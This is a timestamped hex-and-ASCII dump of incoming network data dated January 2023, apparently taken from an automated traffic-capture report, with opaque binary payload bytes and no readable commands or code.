76 b3 cb ab b0 89 40 4e 72 e2 bf 1b 62 3b 5b 5c 69 2c 51 94 c9 a3 18 bf d7 3f 6d a5 39 34 22 99 2c 1b ef 73 b2 65 87 d2 81 02 5b a7 Data Ascii: BKLe[zh)OR:1>g`ec@UjXy(TQ4habYUgu6<GunhD\Z+?C\ar\G)1~U_wHg..IV"xn\|iP!Rzv@Nrb;[\i,Q?m94",se[
2023-01-25 08:44:47 UTC	2225	IN	Data Raw: 84 04 d4 24 9a 9c f8 2a 07 f0 2e 76 bd 71 38 0e c3 ab b4 60 75 00 bd 20 9e 52 d4 d0 8f 0e 2b b0 77 53 c9 d9 f4 fa 98 5d 5f 63 6d a0 4a e7 b2 71 d8 72 88 ec cc 72 cf a5 82 ed 5c 2a c3 11 6a 5a bc 06 9d 6e 33 d1 a4 0f 5b 94 c5 62 dd 57 ac bb 2a 66 81 d7 8f bf 2e 9d 79 8d bf 61 4f bf 3a ad ec fd 0e 4b 9c d2 9e fd c6 6a a4 7b bb 8e 26 db 41 5b 6d 03 62 2a e4 ac 49 29 76 87 87 35 ec a5 5e fd a1 c5 0f 43 ab 51 54 df 99 cc 36 b6 9c ba 09 c3 0b 44 cf 63 ae d3 a1 bd 4f 52 0f d5 ce da 85 45 cf ff cc 30 e5 9a a4 23 55 6c d9 9c e9 25 f3 0b c9 a2 88 05 e8 20 a1 26 0b 1d 01 71 fd e6 b0 7f be 4d d8 77 fd 9e a6 be 45 3f e3 c0 27 b9 68 6e f7 57 0a 6c 91 ff 15 40 f8 61 e7 49 b1 21 ac 9f f6 0a 59 12 9f dc 67 9f 21 e7 28 2c 8c fa a9 36 c5 9f fa 8c c1 7a 71 11 55 28 12 61 92 Data Ascii: $.vq8`u R+wS]_cmJqrr\jZn3[bWf.yaO:Kj{&A[mbI)v5^CQT6DcORE0#Ul% &qMwE?'hnWl@aI!Yg!(,6zqU(a
2023-01-25 08:44:47 UTC	2241	IN	Data Raw: 3a 9f 68 70 22 8b 50 3b ed 3f 42 b2 54 63 6b 2d e3 19 4d da 55 52 01 92 5f a0 cd 09 ed 1e d0 b5 c9 f0 a4 fa 98 0d 9e 88 de c2 84 19 a9 37 af 1f 94 77 d6 17 60 11 06 d0 78 f9 1a aa 9c d4 a5 1d b0 de b1 e2 4e b5 40 bd 35 44 51 b0 ba 8a 32 2c 4f 91 67 ca 90 c1 51 77 fe fe 1d 3b 37 b5 e7 55 db 87 fd c6 a7 2e 25 23 e4 83 f3 59 94 65 7e eb 3c aa da b4 cd 07 8e e8 5f 0d 6c 34 ee d1 3e 2b a3 40 72 8d bc b6 01 20 b3 f1 48 c1 9e fe c3 77 b3 09 7e 9a 31 f2 1e 68 97 b7 6c 1e 51 22 23 dc 28 52 c3 fe 30 58 85 da 94 20 15 93 27 5a 1b 2b 04 21 f9 5b 11 59 e1 3d 5e e8 15 7c f2 68 52 be 47 38 3a 43 75 3e 51 9e 04 f0 cb 9d 2f 7a a9 09 d6 fb a0 69 55 4f c6 47 38 9c 33 75 9b de 5d d9 45 89 56 79 f7 bc 12 9a eb 60 59 99 68 22 18 bc 3c 0e 9a 1b cd fb 22 20 4b 34 7e ef 9c 6b b5 Data Ascii: :hp"P;?BTck-MUR_7w`xN@5DQ2,OgQw;7U.%#Ye~<_l4>+@r Hw~1hlQ"#(R0X 'Z+![Y=^\|hRG8:Cu>Q/ziUOG83u]EVy`Yh"<" K4~k
2023-01-25 08:44:47 UTC	2257	IN	Data Raw: b9 32 7d 8f 4c c8 c0 e0 7e be d9 95 16 87 c8 fa d9 47 ec a3 5c c0 eb 5d d7 6f ba 20 a6 99 c1 1c 78 24 cd 25 55 61 d6 ba f4 e8 d1 73 d4 5d 9b c6 06 62 ff f4 cc 78 2a 9d a2 98 26 99 f7 b3 2f 76 c9 96 cb f9 a9 a6 25 13 62 c3 49 67 94 32 25 bc 75 a0 0c 6c 31 06 61 5d 35 2e 95 03 f3 41 f8 c9 42 dc 04 01 ef df 09 2f 41 1d 86 b1 40 05 40 b2 1f 7a 31 2a 7b 56 c5 32 34 42 d0 45 3c a2 5f 3b d7 ca 77 a6 dc 3d 24 6f 56 bb 4e 8b 68 84 00 ca 41 2d 5e 69 88 47 ce 4e 88 6f 0c ac 4e 3d ac 0c 16 88 a1 82 cd 88 9d 77 2e 70 1b f0 e2 40 1e 96 65 79 c0 49 c2 73 57 bd e7 6b bb 33 00 3b 79 a9 60 35 2e 5a 2c e4 d0 ee 49 b9 82 b4 51 26 b2 0c 20 e2 a7 67 02 20 48 1e 80 9a d3 12 5b e6 ce fe 6a 8f 5e 24 21 ab 9c 78 9d 5b 79 d9 29 cc b8 04 1c bd 5f 7a b5 5f 37 9f 4a 79 da 68 6a d1 e9 Data Ascii: 2}L~G\]o x$%Uas]bx&/v%bIg2%ul1a]5.AB/A@@z1{V24BE<_;w=$oVNhA-^iGNoN=w.p@eyIsWk3;y`5.Z,IQ& g H[j^$!x[y)_z_7Jyhj
2023-01-25 08:44:47 UTC	2273	IN	Data Raw: f0 d3 81 1f 60 a6 07 d9 4d 08 04 e7 6b 1b 11 91 6b 37 90 a0 de c7 10 0d 82 71 ec 6d 1b 71 5f e9 d4 ee 51 f5 bc 2b 3d 91 c4 d3 4d f2 3f cc a8 59 b7 04 ac d7 e8 b3 32 aa 75 b4 c9 9e 90 e5 07 18 8c 0f 54 1c 29 26 7a a5 d5 da 74 0d e7 8f b8 ee 20 7f 40 2a 6b 40 6b 56 31 a9 34 95 bf 2d 49 96 c2 0d 58 52 4d 1e 5d 15 4e 3a 1a ad 3d 16 18 2c 4e fe 11 49 5b e5 7d 28 50 f2 1e 1a f7 ee 23 2a 90 cd 3c 91 a3 b3 b9 6a b8 73 68 46 4f fd 4f 9a 8b cd 44 2f bc f9 ba 58 44 d3 e0 b1 20 94 e8 d1 d3 25 18 a1 d0 22 48 81 0b 1d 7d 89 8c b3 ad 58 52 b4 45 d0 da 7c f6 f8 95 f9 50 94 92 c6 52 83 eb e6 5b dc b0 2f 1d a8 bf 81 75 b2 63 ae 9d 5f 4e a9 34 72 e6 da 4b 37 c7 69 9e 80 8a 25 26 70 4a 14 2a 40 11 5a de d9 66 ff 30 52 bd a4 82 7e 67 f5 17 6c 8f b2 6d a0 95 b1 26 06 ac 53 58 Data Ascii: `Mkk7qmq_Q+=M?Y2uT)&zt @k@kV14-IXRM]N:=,NI[}(P#<jshFOOD/XD %"H}XRE\|PR[/uc_N4rK7i%&pJ*@Zf0R~glm&SX
2023-01-25 08:44:47 UTC	2289	IN	Data Raw: 21 e0 b2 11 3f 9e 49 b7 c1 98 7d 1b 91 3c 0a 19 ca f9 37 2f 61 8d 85 20 5e 15 34 cb 49 39 4f de 9b 4a 50 e6 26 42 dd 4f ed 8b ee 13 83 aa 3e f9 57 ac 1d 29 11 66 24 bc a2 08 65 6e 19 21 75 f8 df 73 90 19 60 00 b9 96 31 ba 4e bc 36 f8 81 55 44 57 88 1b 16 1c 28 7e 09 53 dd d5 92 56 35 73 28 6b d9 1e 1d 4f 09 29 aa 7d 91 34 ca 2c dd 42 dc 09 16 0a 51 7a f9 15 da 42 96 f7 ca 62 87 84 25 ce e9 65 9e 78 da 12 38 7d 05 bc 6e 59 ba c2 47 bd 92 e0 91 2e eb a1 46 91 9e 34 b2 49 d8 44 c4 02 25 48 52 52 b6 8a 1c 16 e7 6b 91 f3 d8 47 8e f5 a2 99 a2 f0 f8 2c cf d0 ad c7 44 88 4a 91 92 8b c1 18 44 c1 bb e0 57 8d 35 13 6f 08 d4 fd 71 0c 23 06 96 62 03 41 83 95 72 91 70 0b 00 65 9b ec 91 bd 04 41 30 e9 14 a1 fe c0 f1 c1 f8 73 a0 6a 5a d2 1f b3 ab 90 ad a4 04 69 c7 1c 52 Data Ascii: !?I}<7/a ^4I9OJP&BO>W)f$en!us`1N6UDW(~SV5s(kO)}4,BQzBb%ex8}nYG.F4ID%HRRkG,DJDW5oq#bArpeA0sjZiR
2023-01-25 08:44:47 UTC	2305	IN	Data Raw: 7b ee 70 f7 16 9e a6 1f 31 ce 52 3c 88 21 b0 03 65 fa b1 35 69 d5 b5 20 28 ce 3e e9 07 5f 74 af 06 f1 c5 9d 0e 57 a0 70 7d 5a 1f 50 32 82 23 76 5b 76 7d 69 6b 47 b7 fd f9 4f 04 86 c8 53 0f 1f 54 9a 55 cc b4 7d aa fb 8b aa 1a dc 20 ae ac 8c d9 1a f8 43 5e f5 37 b7 2d 24 b9 24 d2 7f 0e 70 46 7f 6a 1d 88 3f 97 1f a9 9c 71 21 a8 d2 3f 49 39 9e 3b 49 ba 7d 02 cf 8c cc 7c 4d 85 82 d4 ea 68 f5 35 ec ea 8e 19 cd 23 ce 02 ac dc 82 69 04 a7 8f dc 07 65 e3 c7 cf 68 a0 c1 4d df 19 d0 d8 95 d5 81 bd 8c d9 4b 17 3f 8f fa eb 51 6d b8 6e 25 95 bf 69 7c 64 cd f2 b0 fc ec 85 ad f4 f7 e5 63 ca 93 22 95 94 8c dd 2e 00 af 14 7e 2c 9f bc 1f 38 14 50 c2 9a 41 a8 d3 55 4a 0f 57 ef 17 9c 02 b5 f2 c8 6b 1e 3e 1b 82 24 7b 0f ea 09 25 6e d6 51 58 1a 37 0a ea 2b 15 15 8d d5 93 15 ad Data Ascii: {p1R<!e5i (>_tWp}ZP2#v[v}ikGOSTU} C^7-$$pFj?q!?I9;I}\|Mh5#iehMK?Qmn%i\|dc".~,8PAUJWk>${%nQX7+
2023-01-25 08:44:47 UTC	2321	IN	Data Raw: f9 58 59 0a 8d 92 99 d2 00 06 e5 da 3c db 5b 96 23 8e 87 a5 75 7e f9 59 c4 5c c6 f8 23 ac d8 b0 7c 38 b3 40 d6 93 a2 4d 5a f3 2f 0c 31 a5 40 95 ec 9f 76 2b 3b de 0d ec bb b1 6d 9b 03 d3 7f ae 1e a0 8b d4 85 ac 35 00 e9 61 51 c4 c2 50 f7 81 2c 31 12 e7 c5 25 2d b1 b8 2f eb d3 a2 c8 0c 74 3a 3c ab 7c 59 ef b4 9a d7 bb c5 a0 25 d4 86 36 5c 92 55 59 e6 c8 cc c7 16 ad de ea a9 62 a0 55 87 8c a2 c9 41 f1 ca 6b 8f 93 3a 6f 25 ae 29 7e 0c 33 5a a6 24 5d 80 82 23 d0 ca df 7a 2c ff 0c 7e 11 09 ec 9a e2 b5 20 58 f5 17 cb a8 f5 41 c7 cb d0 c2 b7 07 18 85 25 c6 d5 00 89 22 85 0d 07 0d a7 97 82 d8 85 00 0a 6c 1b 46 08 dc a6 33 e8 37 1e 5b f6 83 9f d3 e9 b3 1e 2f eb 39 63 46 f9 73 5a 75 9a 3f f3 f0 9a f4 e9 6d f2 34 9d e0 db 8f 82 91 06 83 b9 22 f6 44 9f 2f 6f cd 67 ed Data Ascii: XY<[#u~Y\#\|8@MZ/1@v+;m5aQP,1%-/t:<\|Y%6\UYbUAk:o%)~3Z$]#z,~ XA%"lF37[/9cFsZu?m4"D/og
2023-01-25 08:44:47 UTC	2337	IN	Data Raw: 2f 01 f2 87 4a 40 f5 e5 19 68 48 0e 3d c2 43 58 94 86 36 97 3f ce bc b0 67 63 0d 0e 15 a8 8e a7 67 71 29 27 78 d6 eb 1a 8d 37 bd 8c 81 5e 37 0a e4 4e 29 13 99 cf ba 0b 58 dd 6a 51 08 4d 78 4c 95 e9 8c dc d3 4d a7 f8 cb 6e 88 72 c4 7a 32 f3 e3 d2 7f d5 0a d5 33 94 f1 0d d6 02 01 74 d5 9b 3c c4 a8 7c b8 6d 2e 71 74 a5 bb a6 68 89 e6 b8 ee 20 81 50 45 61 e4 16 fd 2e b1 26 dc 47 21 e2 38 5f 9a b5 49 f2 70 a4 9f e5 d2 30 96 4d 84 a4 0d 27 2f 0b e2 85 e5 76 1d a4 9e 03 b5 9d 28 51 f0 aa ea ae 56 4e e0 a6 7e 29 f3 ab 86 d4 25 5c 1e 20 7b 65 8c 7b 43 31 60 b5 db 72 b3 bb 51 47 f5 3c 23 b3 99 69 1b a9 33 79 91 2d 17 61 85 5b 09 06 d7 77 2d 40 b4 49 1a 1f 2b 3d 95 22 48 fb a4 35 be 48 d2 39 fc 8f f7 bf 4f 4b f0 01 ab 23 d6 43 47 57 b2 ca 37 88 94 8c 6a 32 10 29 5c Data Ascii: /J@hH=CX6?gcgq)'x7^7N)XjQMxLMnrz23t<\|m.qth PEa.&G!8_Ip0M'/v(QVN~)%\ {e{C1`rQG<#i3y-a[w-@I+="H5H9OK#CGW7j2)\
2023-01-25 08:44:47 UTC	2353	IN	Data Raw: 7e 17 fa 48 35 ee 35 62 f9 75 63 cd 52 55 eb ab 83 7c 45 e7 c8 1f 9b 0b bf 58 76 76 2b 4f 27 fb 80 bd 32 96 1a bf 39 1d 71 c3 b8 d3 0c b3 07 a5 01 3d e1 35 45 fb df 72 5e 44 6d f9 d5 72 d1 26 31 54 de df 17 ed 54 7f 3c a9 a5 a7 c5 ba 88 8a 56 45 10 13 d5 11 6e 81 bb 8b 74 8c 5a 5f 69 4d 4d 29 dd a1 6b 6f 43 c1 ef 8d c0 ae 4a 00 0d b2 13 30 b3 b5 35 39 f9 5a 03 c6 b8 c5 2f 6f 55 9e e8 89 d3 62 06 fb 09 5d e0 62 39 4d 97 56 de 9a 12 5e ad 77 b6 46 f3 06 8f 45 93 e9 c2 77 2b 76 c5 fe 78 2c 0a bd 54 9c 45 93 d3 b0 99 37 73 de e0 cd 2a ab 4e 02 e5 60 3d 22 ad d3 41 6e ba 34 be a8 02 00 62 78 3e 04 21 82 03 23 7e 2e 0d b2 0c 0b 80 2c 29 05 71 12 14 59 b3 ce 8d 6d 40 73 6c a6 17 b3 79 1b 45 65 d0 ba 87 7b 4a d1 84 ee df 9f 6b b2 05 6d 37 b5 67 69 6b 4d a6 e9 f3 Data Ascii: ~H55bucRU\|EXvv+O'29q=5Er^Dmr&1TT<VEntZ_iMM)koCJ059Z/oUb]b9MV^wFEw+vx,TE7s*N`="An4bx>!#~.,)qYm@slyEe{Jkm7gikM
2023-01-25 08:44:47 UTC	2369	IN	Data Raw: c7 a3 cd 23 3d 8d 2a be 33 cb b6 7e e3 32 a4 62 97 b0 a2 aa 30 b2 91 f4 ba ff e5 95 9d bd ee 7b f9 85 eb a1 53 c2 a6 5f 41 55 89 8b 6f c5 5e 1d 85 4a d8 cc 73 b2 3d 7f 49 75 ad 90 49 50 d1 b5 b9 e7 cc d8 38 81 b8 46 26 ba 35 25 01 75 c9 5a 87 11 83 ab 87 0d aa e6 71 57 f8 8b 56 f2 20 6a 13 44 df d1 04 98 af 72 61 87 a1 a3 a0 cb d6 e0 25 b6 93 c7 f1 c5 28 61 17 ad ff fd 84 c2 8e 2d bd 95 1b 8c 52 4d 6d a6 7d a2 3b 66 ea 4e 98 b2 6b 0f 17 71 22 f1 2f d7 38 96 74 11 99 92 4b cd 1c 3e 61 fa 23 77 ec 47 33 8f 83 cc fd 35 49 1e bc ec bb 8f 9c 6e 85 26 90 4f b0 ee c5 08 ef bf 48 9b 16 0b 91 c4 a7 fe c7 54 9a bb 77 73 c8 44 dd d9 5f f1 e2 49 73 48 d1 90 b7 01 25 49 db 65 f9 35 19 9e 97 e6 41 b3 20 f5 5d f0 7b 9a 5a 6b 19 9a 14 6f 77 06 a1 e6 e3 c6 a8 87 ff a9 09 Data Ascii: #=*3~2b0{S_AUo^Js=IuIP8F&5%uZqWV jDra%(a-RMm};fNkq"/8tK>a#wG35In&OHTwsD_IsH%Ie5A ]{Zkow
2023-01-25 08:44:47 UTC	2385	IN	Data Raw: 01 24 72 44 c8 4a de 49 9d e7 f6 1b 79 18 fa 27 4e f9 3a 22 9b f6 b5 03 53 ce 27 0e e2 e6 96 fe 02 fe 2a 8a 53 b7 d5 15 23 49 8e 40 fd d5 83 5a 8b da 93 9d f7 d4 fa 6f a2 50 48 c8 73 e9 0c a3 e4 b2 0a 6d 01 2b 1e 4f 61 dc 0c f8 6a ec b2 57 07 44 b0 b8 e0 d0 1e 8e 6b f4 95 d4 80 47 cd d9 f1 6d 29 1e 24 3d 0e ea 0e 13 67 7a a3 85 25 4c 31 71 97 5e c0 b2 b2 9a 9c 5b 5a 45 a9 21 71 3a c4 fe a3 d6 6f 11 10 83 08 10 aa 49 c1 05 c9 04 22 5b 47 2d 76 5e d7 e9 2e 8b 40 85 49 39 b6 1a 43 e4 d9 68 24 f7 71 58 df ad be b0 df 00 54 8b 2f 1d b6 21 d8 8d 1f 6e c1 2b 00 a8 d5 2d 12 c0 15 06 08 ee d1 d8 a7 43 12 62 a0 e4 26 20 47 57 b1 de 26 d7 b5 e6 91 c3 67 ef f2 eb ae c4 bc 9a f1 82 fa 22 d3 60 5b 7d 45 e5 b1 48 96 de dc ec f8 99 3e ba 0b 96 f1 1b 98 e2 21 f7 5f aa 80 Data Ascii: $rDJIy'N:"S'*S#I@ZoPHsm+OajWDkGm)$=gz%L1q^[ZE!q:oI"[G-v^.@I9Ch$qXT/!n+-Cb& GW&g"`[}EH>!_
2023-01-25 08:44:47 UTC	2401	IN	Data Raw: cf 7e 7c 80 8f 10 68 85 6e 95 70 4f 6e 74 09 0d df ea b4 7f a2 e4 d6 42 8c be 57 67 d8 d6 ba a8 8e 90 16 6d 59 d3 ee 2c 91 a2 7c 0e 7c 14 9c b4 1e 98 5b f8 b9 36 74 78 7c bf 1e c3 f6 6e a3 c4 35 16 37 ea 5f db 5c c5 47 3c cc d2 98 4d f0 f5 1f f0 01 6c f5 ef 2a 5f ab 3c e1 98 a8 1b 25 54 2c 31 20 74 f9 88 25 1a 82 0b 5f 24 2d eb 86 91 fe e0 12 19 85 e8 09 84 c3 ce cc 3f db ad a8 75 8a 26 f1 b7 07 b1 52 77 35 1d 22 14 d2 7b 17 a4 06 bd e0 0b a3 58 1c 5e ca 00 53 12 b8 33 e0 31 ca 8d 87 e0 1c 1d 0d a9 ef 8e d0 65 19 5b 2c 4b 86 d2 f0 21 53 f9 90 e4 98 66 b9 28 3c 48 0b ac da 4b c1 d0 c9 fd 32 93 ca 41 9f af a2 e9 91 6d 2a 91 0d 8e 96 07 70 4e 1a bc 83 79 c7 e0 2e 64 8e 5f 86 f3 4f d2 57 cc ab 94 a0 0c a8 04 f6 88 d1 ab d2 f5 a3 5c d1 c5 c9 16 ce 23 4b 60 27 Data Ascii: ~\|hnpOntBWgmY,\|\|[6tx\|n57_\G<Ml_<%T,1 t%_$-?u&Rw5"{X^S31e[,K!Sf(<HK2AmpNy.d_OW\#K`'
2023-01-25 08:44:47 UTC	2417	IN	Data Raw: 2b a1 76 53 6e 30 7f cf 22 5c 39 fb 21 e1 78 00 90 31 54 98 4b 6d af 85 41 8b ba 05 38 c1 3d 65 b4 06 a3 22 3c ee cc 07 b7 01 6b 98 e9 24 04 89 41 50 a5 05 eb 6d 7c 55 7e 06 d3 85 73 1d ba d1 78 5d 07 be 76 c2 90 46 83 99 4c e0 81 3d 30 4e f8 16 c2 89 49 7c 45 f9 75 1a c9 de f9 23 a4 63 05 71 51 97 34 91 bf 09 a1 83 67 d8 08 76 66 e2 0f a8 f6 e0 49 47 59 79 69 9a 7c ff 64 38 a8 48 1c c2 14 8d d4 0d 5c 3f c8 a5 a3 df ec 7b ba 7a 42 8b 10 f4 9d 96 92 77 fa bf 9d fe 86 64 af 80 be 36 e9 00 11 46 12 d8 7c 41 ff 64 62 94 c2 9f 2c a5 69 ca ab b5 f8 2f 1e d3 de 9f 23 57 70 4a f5 fb 13 8d f7 8d 97 2a d0 8e 35 19 87 1b 59 d7 dc 2c 01 b7 41 1c 86 28 ef 4a c0 2e 90 3b 8c bd f3 7f 7e 75 75 1a 1d 51 57 df d0 67 df fd 8e 70 1e 14 7c 08 0e f5 f6 bc a0 6f 8f 71 d5 60 1f Data Ascii: +vSn0"\9!x1TKmA8=e"<k$APm\|U~sx]vFL=0NI\|Eu#cqQ4gvfIGYyi\|d8H\?{zBwd6F\|Adb,i/#WpJ*5Y,A(J.;~uuQWgp\|oq`
2023-01-25 08:44:47 UTC	2433	IN	Data Raw: 94 8d 2d 77 c7 00 b0 f1 89 84 72 b2 b3 33 60 87 77 ff d3 52 65 24 db b6 34 86 d5 bb b2 b2 53 31 d7 35 20 0d 58 5c 9c f5 9b 1f 20 a3 6c 69 2f 9b 09 3a 49 0f 88 f7 0e 44 23 a4 9c 8a b5 44 7c 19 de b1 dd 16 f7 7a 5c 0e c6 68 37 09 b1 fe 17 77 b7 b3 72 9d 9a 7b 19 6a cf 67 b3 7d 6b 5a df 51 a9 dc 46 a7 76 32 ee 5b c2 af 95 42 44 a2 fc 4c 82 39 db 63 a9 06 46 93 63 9a 07 4c da cf 2b 0c 8e 7f 97 c6 32 7f e3 b3 bc 0c ce d8 3f 28 17 5f a8 a4 02 02 26 5c c2 33 74 d4 6c 01 c6 dc 86 31 69 c6 8a 4d d3 37 95 91 a9 e9 a8 c5 9d a9 e3 ab df e0 db ae cc bf 63 20 2e f6 b7 7f 77 ea bc 98 d8 48 23 e5 3f 70 51 b5 ef b7 a2 6f d9 4b b7 b7 19 50 e0 e2 dc 54 bf f9 6d a3 50 06 a8 78 03 4e 6e 9f 56 0b d9 21 b7 03 e0 2c 82 e8 da 6a 9d 78 3c c8 fa f5 b0 f9 30 af 40 b2 79 71 b3 a2 2d Data Ascii: -wr3`wRe$4S15 X\ li/:ID#D\|z\h7wr{jg}kZQFv2[BDL9cFcL+2?(_&\3tl1iM7c .wH#?pQoKPTmPxNnV!,jx<0@yq-
2023-01-25 08:44:47 UTC	2449	IN	Data Raw: 99 dd eb 7b 78 5a 7c 6a 54 33 a4 ba 14 8a fb d8 d2 f3 eb c6 f8 5b 71 75 33 3a b3 ce 34 13 32 d4 66 ac 69 82 3e 1f 1b 3e 0d 1f 96 ee b7 e4 db 2e c8 72 31 ca b4 32 32 e1 c1 87 9a de bc 17 79 bf b6 6a 8a 1c 52 e6 f6 51 50 ee b7 2c f0 2f 54 23 01 69 0c fe b4 1b 46 78 2b 58 d2 b8 fa 2e 85 d7 e9 38 c5 0d 0b c5 89 65 b3 7f bb 21 ec 07 d4 9d 0b d6 08 e0 71 2d 63 06 4b ba 88 ca ce 52 bf 5e 61 8a fb 9c a9 dc 15 14 43 f0 21 ce 83 be e8 2c c6 dd 2b 06 4f 73 f9 c1 88 42 b4 1a d7 46 55 0a 22 53 54 61 1c 06 5f 29 f3 8c 80 06 67 86 35 5c b8 97 52 83 62 e5 08 38 1c 78 1b 97 22 ad 0e 8d ee f0 fb b5 f4 4c 04 3b 92 33 d8 1e 9c 91 37 b4 32 74 c9 ff 86 ad 08 bd 7b 64 52 0c 1e 0c ce 1c 36 04 8e 77 99 e2 09 dd e0 94 92 03 51 a3 86 cd 5c bb fd 12 48 df 4b 11 a6 05 31 b8 89 8d 39 Data Ascii: {xZ\|jT3[qu3:42fi>>.r122yjRQP,/T#iFx+X.8e!q-cKR^aC!,+OsBFU"STa_)g5\Rb8x"L;372t{dR6wQ\HK19
2023-01-25 08:44:47 UTC	2465	IN	Data Raw: 6d 11 2a f4 03 77 41 d0 01 6d 54 88 32 eb fc f2 bd 18 ba 69 2b fb 4d b2 d8 b1 fe 1f cb 58 b7 2a b7 79 05 f9 02 88 54 c5 10 8c 52 a3 2e 33 12 95 b9 59 c9 39 2e 83 10 02 7f f7 10 eb 30 0a 71 1a d4 82 3f 29 54 c8 42 55 bc 8c 52 d3 d9 fd d7 09 35 0d 14 af ee 46 23 af 71 38 a8 40 d7 00 99 a1 b6 1d f3 48 05 db 05 9a d9 19 08 d2 31 0d b1 c3 62 9e 3a 0e eb 39 fe 03 77 bd 6f db f2 fe 6e 23 fe 57 89 29 2f dd 2c e5 41 51 9a e9 14 de 95 d9 18 55 ea 1f a2 ae 83 03 9a 46 54 e0 79 39 0c 50 7c 92 3a 7b ea 6c e0 b0 18 62 22 dd 18 87 0c 4f 20 fa 50 75 7b b9 2f 04 6c 77 3c ac a5 59 cd 07 d2 d0 89 5c ce f5 e1 b6 8d ad ff ca 1f 8d f2 52 42 48 d7 8c b8 84 8f 9e 06 ea 31 f3 88 95 f6 e9 43 1c 24 37 6c 1a 74 55 a0 47 9c e7 b5 14 03 f9 1e 22 97 57 69 65 f3 d4 43 e5 ca f8 f0 f7 41 Data Ascii: mwAmT2i+MXyTR.3Y9.0q?)TBUR5F#q8@H1b:9won#W)/,AQUFTy9P\|:{lb"O Pu{/lw<Y\RBH1C$7ltUG"WieCA
2023-01-25 08:44:47 UTC	2481	IN	Data Raw: ab 34 72 06 eb 7b 3d b9 24 d6 da 87 2b 88 07 a2 55 fa a1 ac 58 03 cb 16 0c 77 d9 d8 0a 33 a7 bb e0 af d6 a5 a7 f3 41 87 9f 47 be d5 74 47 c6 7f 58 d8 71 64 d7 6b a2 2d d8 7c 95 7d 71 89 e1 39 40 7d 28 c0 dc 28 94 ee 46 05 f3 94 a8 84 8c 79 14 3c 97 ad d4 52 94 1c a4 24 a0 dc ad 7b 99 fa 5d 71 8c ed 37 3f 51 f6 07 77 ca 32 d6 96 82 47 62 7a d7 2d a4 30 63 e9 1b a8 98 16 95 93 d8 d7 72 f8 19 93 d9 59 c4 40 45 53 54 33 86 89 b5 85 52 60 01 2f 9d 39 3a 57 58 8e ba ce 5e a8 50 87 6b fd 3f 3a b1 6c c6 35 7b 59 bc 13 d5 9e a2 d6 11 6d 07 f0 77 34 45 90 3e 36 47 07 8d 51 38 57 f4 8a 3a 05 ef 53 1e 6a 07 78 9c ac 93 c4 64 11 dc 1c 31 aa 51 21 26 fd 36 1e 01 b9 df 14 6c 9f 49 7e 95 4c e9 b0 ab 95 f5 8f e3 85 9f 06 a6 33 f8 4e c1 8e 79 ac 4a 2b 3c 70 37 a9 92 d5 ba Data Ascii: 4r{=$+UXw3AGtGXqdk-\|}q9@}((Fy<R${]q7?Qw2Gbz-0crY@EST3R`/9:WX^Pk?:l5{Ymw4E>6GQ8W:Sjxd1Q!&6lI~L3NyJ+<p7
2023-01-25 08:44:47 UTC	2497	IN	Data Raw: 7e fa b8 0d 89 7e 4c 80 c8 b5 61 6c 90 c8 48 30 2f 7b c8 97 42 0f c4 52 9d 23 82 aa 30 76 71 ca aa a3 2a 73 23 42 91 b8 1a 7b 91 e3 70 b0 3a 84 9b 4c 19 60 43 4e e0 f1 47 f7 70 bc 79 72 61 37 bf 28 1f 54 cb 35 86 9e 59 f1 a0 10 5d da 7a 87 34 23 0e 99 11 63 0b d2 bc 0a d3 53 58 03 45 c6 93 46 64 b3 6e d0 8f cf 31 bf a6 13 99 b1 11 33 37 9a 5b cb fb 61 89 fa 46 c7 f4 e9 f9 4c 55 0a bd 95 45 5f dd f1 0a 39 5d 42 18 4b 1e f8 fd dd 62 1c 5a c5 99 d7 ea 20 a5 9b c1 2b 61 92 76 47 76 2b 46 74 b6 74 67 ac 89 90 09 9e fd c2 1c 13 ab 7c 67 db d3 fe fd 37 00 cc e8 0c a4 0b 35 37 16 b4 44 07 92 e1 99 36 ef 67 e9 b9 bd 15 8a bf 44 3e 19 e8 db 59 c2 6d 94 72 f4 41 db 47 73 89 7b 4f 15 57 a9 19 19 14 aa 0d ee 19 02 e2 40 1d 90 26 44 59 d0 95 4e 23 0d ff 3b 4f 1c 56 b5 Data Ascii: ~~LalH0/{BR#0vq*s#B{p:L`CNGpyra7(T5Y]z4#cSXEFdn137[aFLUE_9]BKbZ +avGv+Fttg\|g757D6gD>YmrAGs{OW@&DYN#;OV
2023-01-25 08:44:47 UTC	2513	IN	Data Raw: 8d fa 23 18 24 51 94 49 00 d7 40 99 96 e8 65 5a 8c 40 91 af 46 5c 2d 76 6c e1 be 49 f7 4a e9 ad 94 23 11 22 c5 bc c9 40 20 58 37 fd 0d 6d b8 46 a1 08 22 1b 4e 49 05 3d 79 e2 bf 6c 96 fb 66 82 8f 58 a0 02 f4 29 ab 9c 63 10 44 8a e6 3c bf ea cb 86 7f 97 d9 91 91 ae 48 50 9f 4c 96 dd f4 b8 7e 36 35 23 6d 7e 3b 35 47 26 38 18 1f e7 b0 be c5 21 f5 41 45 6a 58 2b 38 77 ea 46 3e 73 93 9e 98 17 72 12 53 48 58 1f 4a 33 38 55 c8 2f 14 cf f9 33 f2 22 a1 e8 c3 85 18 52 a1 ac a0 12 7d 29 ca 67 40 8d 59 5f 84 5e 51 39 fd 26 0e 43 1a 4b 2d 93 9c 4b 20 02 89 68 11 06 7e e1 2c ad 49 2a eb b3 28 1a 9d 4f b7 a3 97 67 02 e2 33 79 44 74 47 49 7a e6 97 83 ca 31 13 7e ac 1b f1 87 16 50 cd 27 02 6d 16 d2 14 09 c4 77 54 7d a9 7d 56 3d 54 d7 30 b6 fc 49 a0 a3 fa c0 50 67 15 e9 6a Data Ascii: #$QI@eZ@F\-vlIJ#"@ X7mF"NI=ylfX)cD<HPL~65#m~;5G&8!AEjX+8wF>srSHXJ38U/3"R})g@Y_^Q9&CK-K h~,I*(Og3yDtGIz1~P'mwT}}V=T0IPgj
